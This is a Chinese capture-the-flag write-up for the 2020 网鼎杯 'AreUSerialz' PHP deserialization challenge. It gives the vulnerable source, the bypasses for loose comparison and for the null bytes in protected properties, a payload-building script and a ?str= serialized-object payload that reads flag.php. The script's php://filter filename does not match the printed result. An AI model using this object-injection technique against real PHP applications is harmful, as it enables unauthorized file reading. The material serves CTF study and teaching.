[网鼎杯 2020 青龙组]AreUSerialz
题目源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler { //一个类
protected $op; //类里面的三个受保护变量
protected $filename;
protected $content;
function __construct() { //给三个变量赋值,并调用process()公有函数,构造函数
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() { //根据变量op的值选择分支执行
if($this->op == "1") { // 如果op == “1”,
$this->write(); //执行write()函数;
} else if($this->op == "2") { //如果op ==“2”,
$res = $this->read(); //执行read函数,
$this->output($res); //同时将结果赋值给$res,然后输出;
} else {
$this->output("Bad Hacker!"); //否则将输出"Bad Hacker!"。
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) { //二者不为空
if(strlen((string)$this->content) > 100) { //content变量长度大于100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!"); //将content变量的值写入filename所代表的文件中去,并将返回的字节数赋给res变量
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() { //使用filename调用file_get_contents函数将文件内容赋值给$res输出。
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); //从文件中读取一个字符串,并赋给res变量
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2") //如果op === “2”,这里 if 中的判断语句用的是强类型比较。
$this->op = "1"; //那么op会被赋值为"1",
$this->content = ""; //然后content会赋值为空,
$this->process(); //并执行process函数,
}
}
function is_valid($s) { //判断传入的参数的ASCII码是属于[32,125]
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) { //get方式传入str参数
$str = (string)$_GET['str'];
if(is_valid($str)) { //调用is_valid()函数,判断传入的参数的ASCII码是属于[32,125]
$obj = unserialize($str); //对str参数反序列化
}
}
常见的PHP魔术方法:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
主要两点:
1.op==“2” 弱等于绕过
2.is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
public 表示共有;类的数据成员和函数可以被该类对象和派生类访问。
private 私有型;自己的类可以访问,但派生类不能访问。
protected 保护型;自身类和派生类可以访问相当于自身的private型成员,它同private的区别就是在对待派生类的区别上。
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;
构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
查看源代码得到flag